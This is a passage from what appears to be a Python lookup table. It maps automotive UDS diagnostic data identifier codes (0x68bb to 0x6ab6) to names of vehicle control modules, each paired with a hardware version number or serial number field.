"Valve_block_2_in_driver_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68bb] = "Valve_block_3_in_driver_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68bc] = "Switch_for_front_multicontour_seat_passenger_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68bd] = "Valve_block_1_in_passenger_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68be] = "Valve_block_2_in_passenger_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68bf] = "Valve_block_3_in_passenger_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c0] = "Coolant_heater_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c1] = "Seat_backrest_fan_1_front_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c2] = "Seat_backrest_fan_2_front_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c3] = "Seat_cushion_fan_1_front_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c4] = "Seat_cushion_fan_2_front_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c5] = "Seat_backrest_fan_1_front_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c6] = "Seat_backrest_fan_2_front_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c7] = "Seat_cushion_fan_1_front_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c8] = "Seat_cushion_fan_2_front_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c9] = "Operating_and_display_unit_1_for_air_conditioning_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ca] = "Operating_and_display_unit_2_for_air_conditioning_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68cb] = "Operating_and_display_unit_3_for_air_conditioning_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68cc] = "Operating_and_display_unit_4_for_air_conditioning_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68cd] = "Operating_and_display_unit_5_for_air_conditioning_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ce] = "Pedestrian_protection_left_hand_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68cf] = "Pedestrian_protection_right_hand_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d0] = "Battery_junction_box_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d1] = "Cell_module_controller_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d2] = "Cell_module_controller_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d3] = "Cell_module_controller_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d4] = "Cell_module_controller_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d5] = "Cell_module_controller_5_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d6] = "Cell_module_controller_6_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d7] = "Cell_module_controller_7_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d8] = "Cell_module_controller_8_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d9] = "Cell_module_controller_9_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68da] = "Cell_module_controller_10_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68db] = "Cell_module_controller_11_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68dc] = "Cell_module_controller_12_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68dd] = "Seat_backrest_fan_1_rear_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68de] = "Seat_backrest_fan_2_rear_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68df] = "Seat_cushion_fan_1_rear_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e0] = "Seat_cushion_fan_2_rear_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e1] = "Seat_backrest_fan_1_rear_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e2] = "Seat_backrest_fan_2_rear_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e3] = "Seat_cushion_fan_1_rear_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e4] = "Seat_cushion_fan_2_rear_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e5] = "Auxiliary_blower_motor_control_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e6] = "Auxiliary_blower_motor_control_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e7] = "Infrared_sender_for_front_observation_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e8] = "Starter_generator_control_module_sub_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e9] = "Media_player_1_sub_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ea] = "Media_player_2_sub_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68eb] = "Dedicated_short_range_communication_aerial_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ec] = "Refrigerant_pressure_and_temperature_sender_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ed] = "Refrigerant_pressure_and_temperature_sender_5_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ee] = "Refrigerant_pressure_and_temperature_sender_6_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ef] = "Air_coolant_actuator_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f0] = "Air_coolant_actuator_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f1] = "Cell_module_controller_13_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f2] = "Cell_module_controller_14_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f3] = "Cell_module_controller_15_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f5] = "Seat_heating_rear_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f6] = "LED_warning_indicator_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f7] = "Automatic_transmission_fluid_pump_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f8] = "Manual_transmission_fluid_pump_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68f9] = "Convenience_and_driver_assist_operating_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68fb] = "Air_coolant_actuator_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68fc] = "Valve_block_4_in_driver_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68fd] = "Valve_block_4_in_passenger_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68fe] = "Valve_block_4_in_driver_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ff] = "Valve_block_4_in_passenger_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6901] = "Rear_climatronic_operating_and_display_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6902] = "Refrigerant_expansion_valve_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6903] = "Refrigerant_expansion_valve_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6904] = "Refrigerant_expansion_valve_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6905] = "Refrigerant_shut_off_valve_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6906] = "Refrigerant_shut_off_valve_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6907] = "Refrigerant_shut_off_valve_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6908] = "Refrigerant_shut_off_valve_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6909] = "Refrigerant_shut_off_valve_5_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x690a] = "Sunlight_sensor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x690b] = "Near_field_communication_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x690c] = "Clutch_control_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x690d] = "Electrical_charger_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x690e] = "Rear_light_left_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x690f] = "Rear_light_right_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6910] = "Rear_light_right_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6911] = "Sunlight_sensor_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6912] = "Radiator_shutter_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6913] = "Radiator_shutter_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6914] = "Radiator_shutter_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6915] = "Radiator_shutter_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6918] = "Special_key_operating_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6919] = "Radio_interface_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x691a] = "Video_self_protection_recorder_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x691b] = "Special_vehicle_assist_interface_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x691c] = "Electric_system_disconnection_diode_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x691d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x691e] = "Belt_pretensioner_2nd_row_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x691f] = "Belt_pretensioner_2nd_row_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6920] = "Electrical_variable_camshaft_phasing_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6921] = "Electrical_variable_camshaft_phasing_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6922] = "Wireless_operating_unit_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6923] = "Wireless_operating_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6924] = "Front_windshield_washer_pump_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6925] = "Air_quality_sensor_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6926] = "Fragrancing_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6927] = "Coolant_valve_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6928] = "Near_field_communication_control_module_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6929] = "Interior_monitoring_rear_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x692a] = "Cooler_fan_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x692b] = "Control_unit_heating_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x692c] = "Control_unit_heating_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x692d] = "Control_unit_heating_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x692e] = "Control_unit_heating_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x692f] = "Operating_unit_drive_mode_selection_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6930] = "Side_sensor_a-pillar_driver_front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6931] = "Side_sensor_a-pillar_passenger_front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6932] = "Sensor_high_voltage_system_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6933] = "Side_sensor_b-pillar_driver_front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6934] = "Side_sensor_b-pillar_passenger_front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6935] = "Multi_function_steering_wheel_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6936] = "Gear_selection_display_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6937] = "Cooler_fan_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6938] = "Gear_selector_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6939] = "Interior_light_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x693a] = "Radio_control_center_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x693b] = "Multimedia_extension_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x693c] = "Control_unit_differential_lock_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x693d] = "Control_unit_ride_control_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x693e] = "Control_unit_hands_on_detection_steering_wheel_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x693f] = "Front_climatronic_operating_and_display_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6940] = "Auxiliary_display_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6941] = "Card_reader_tv_tuner_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6942] = "Park_lock_actuator_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6943] = "Media_connector_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6944] = "Catalyst_heating_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6a01] = "Control_unit_for_wiper_motor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a02] = "Rain_light_recognition_sensor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a03] = "Light_switch_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a04] = "Garage_door_opener_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a05] = "Garage_door_opener_operating_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a06] = "Ignition_key_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a07] = "Left_front_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a08] = "Right_front_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a09] = "Left_rear_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a0a] = "LED_headlamp_powermodule_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a0b] = "LED_headlamp_powermodule_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a0c] = "LED_headlamp_powermodule_2_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a0d] = "LED_headlamp_powermodule_2_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a0e] = "Operating_and_display_unit_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a0f] = "Operating_and_display_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a10] = "Right_rear_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a11] = "Data_medium_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a12] = "Drivers_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a13] = "Front_passengers_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a14] = "Left_headlamp_power_output_stage_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a15] = "Right_headlamp_power_output_stage_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a16] = "Sensor_for_anti_theft_alarm_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a17] = "Rear_lid_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a18] = "Alarm_horn_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a19] = "Automatic_day_night_interior_mirror_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a1a] = "Remote_control_auxiliary_heater_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a1b] = "Fresh_air_blower_front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a1c] = "Fresh_air_blower_back_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a1d] = "Alternator_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a1e] = "Interior_light_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a1f] = "Refrigerant_pressure_and_temperature_sender_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a20] = "Sun_roof_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a21] = "Steering_column_lock_actuator_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a22] = "Anti_theft_tilt_system_control_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a23] = "Tire_pressure_monitor_antenna_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a24] = "Heated_windshield_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a25] = "Rear_light_left_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a26] = "Ceiling_light_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a27] = "Left_front_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a28] = "Right_front_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a29] = "Control_module_for_auxiliary_air_heater_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a2a] = "Belt Pretensioner left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a2b] = "Belt Pretensioner right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a2c] = "Occupant Detection_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a2d] = "Selector_lever_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a2e] = "NOx_sensor_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a2f] = "NOx_sensor_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a30] = "Ioniser_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a31] = "Multi_function_steering_wheel_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a32] = "Left_rear_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a33] = "Right_rear_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a34] = "Left_rear_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a35] = "Right_rear_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a36] = "Display_unit_1_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a37] = "Battery_monitoring_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a38] = "Roof_blind_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a39] = "Sun_roof_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a3a] = "Steering_angle_sender_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a3b] = "Lane_change_assistant 2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a3c] = "Pitch_rate_sender_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a3d] = "ESP_sensor_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a3e] = "Electronic_ignition_lock_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a3f] = "Air_quality_sensor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a40] = "Display_unit_2_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a41] = "Telephone_handset_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a42] = "Chip_card_reader_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a43] = "Traffic_data_aerial_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a44] = "Hands_free_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a45] = "Telephone_handset_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a46] = "Display_unit_front_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a47] = "Multimedia_operating_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a48] = "Digital_sound_system_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a49] = "Electrically_adjustable_steering_column_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a4a] = "Interface_for_external_multimedia_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a4b] = "Relative_Air_Humidity_Interior_Sender_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a4c] = "Drivers_door_rear_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a4d] = "Passengers_rear_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a4e] = "Sensor_controlled_power_rear_lid_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a4f] = "Camera_for_night_vision_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a50] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a51] = "Rear_spoiler_adjustment_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a52] = "Roof_blind_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a53] = "Motor_for_wind_deflector_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a54] = "Voltage_stabilizer_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a55] = "Switch_module_for_driver_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a56] = "Switch_module_for_front_passenger_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a57] = "Switch_module_for_rear_seat_driver_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a58] = "Switch_module_for_rear_seat_front_passenger_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a59] = "Switch_module_2_for_driver_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a5a] = "Battery_charger_unit_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a5b] = "Battery_charger_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a5c] = "Battery_charger_unit_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a5d] = "Air_conditioning_compressor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a5e] = "Neck_heating_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a5f] = "Neck_heating_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a60] = "Switch_module_2_for_front_passenger_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a61] = "Switch_module_2_for_rear_seat_front_passenger_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a62] = "Compact_disc_database_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a63] = "Rear_climatronic_operating_and_display_unit_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a64] = "Rear_climatronic_operating_and_display_unit_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a65] = "Door_handle_front_left_Kessy_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a66] = "Door_handle_front_right_Kessy_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a67] = "Door_handle_rear_left_Kessy_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a68] = "Door_handle_rear_right_Kessy_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a69] = "Power_converter_DC_AC_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a6a] = "Battery_monitoring_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a6b] = "Matrix_headlamp_powermodule_1_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a6c] = "Matrix_headlamp_powermodule_1_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a6d] = "High_beam_powermodule_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a6e] = "High_beam_powermodule_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a6f] = "Air_suspension_compressor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a70] = "Rear_brake_actuator_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a71] = "Rear_brake_actuator_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a72] = "Analog_clock_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a73] = "Rear_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a79] = "Data_medium_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a7a] = "Operating_unit_center_console_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a7b] = "Operating_unit_center_console_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a7c] = "Operating_unit_center_console_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a7d] = "Operating_unit_center_console_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a7e] = "Interface_for_radiodisplay_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a7f] = "Parkassist_entry_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a86] = "Belt_pretensioner_3rd_row_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a87] = "Belt_pretensioner_3rd_row_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a88] = "Injection_valve_heater_control_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a89] = "Steering_column_switch_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a8a] = "Brake_assistance_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a8b] = "Trailer_articulation_angle_sensor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a8c] = "Cup_holder_with_heater_and_cooling_element_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a8d] = "Range_of_vision_sensing_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a8e] = "Convenience_and_driver_assist_operating_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a8f] = "Cradle_rear_climatronic_operating_and_display_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a90] = "Trailer_weight_nose_weight_detection_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a91] = "Sensor_carbon_dioxide_concentration_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a92] = "Sensor_fine_dust_concentration_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a93] = "Volume_control_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a94] = "Belt_buckle_presenter_2nd_row_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a95] = "Belt_buckle_presenter_2nd_row_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a96] = "Operating_and_display_unit_6_for_air_conditioning_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a97] = "Active_accelerator_pedal_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a98] = "Multimedia_operating_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a99] = "Display_unit_3_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a9a] = "Display_unit_4_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a9b] = "Display_unit_5_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a9c] = "Control_module_for_auxiliary_blower_motors_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a9d] = "Operating_and_display_unit_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a9e] = "Operating_and_display_unit_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6a9f] = "Operating_and_display_unit_5_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa0] = "Side Sensor Driver Front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa1] = "Side Sensor Passenger Front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa2] = "Side Sensor Driver Rear_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa3] = "Side Sensor Passenger Rear_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa4] = "Front Sensor Driver_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa5] = "Front Sensor Passenger_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa6] = "Pedestrian Protection Driver_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa7] = "Pedestrian Protection Passenger_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa8] = "Rear Sensor Center_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aa9] = "Pedestrian Protection Center_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aaa] = "Pedestrian Protection Contact_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aab] = "Pedestrian_protection_driver_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aac] = "Pedestrian_protection_passenger_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aad] = "Central_sensor_XY_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aae] = "Refrigerant_pressure_and_temperature_sender_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aaf] = "Refrigerant_pressure_and_temperature_sender_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab0] = "Switch_for_rear_multicontour_seat_driver_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab1] = "Valve_block_1_in_driver_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab2] = "Valve_block_2_in_driver_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab3] = "Valve_block_3_in_driver_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab4] = "Switch_for_rear_multicontour_seat_passenger_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab5] = "Valve_block_1_in_passenger_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab6] = "Valve_block_2_in_passenger_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab7] = 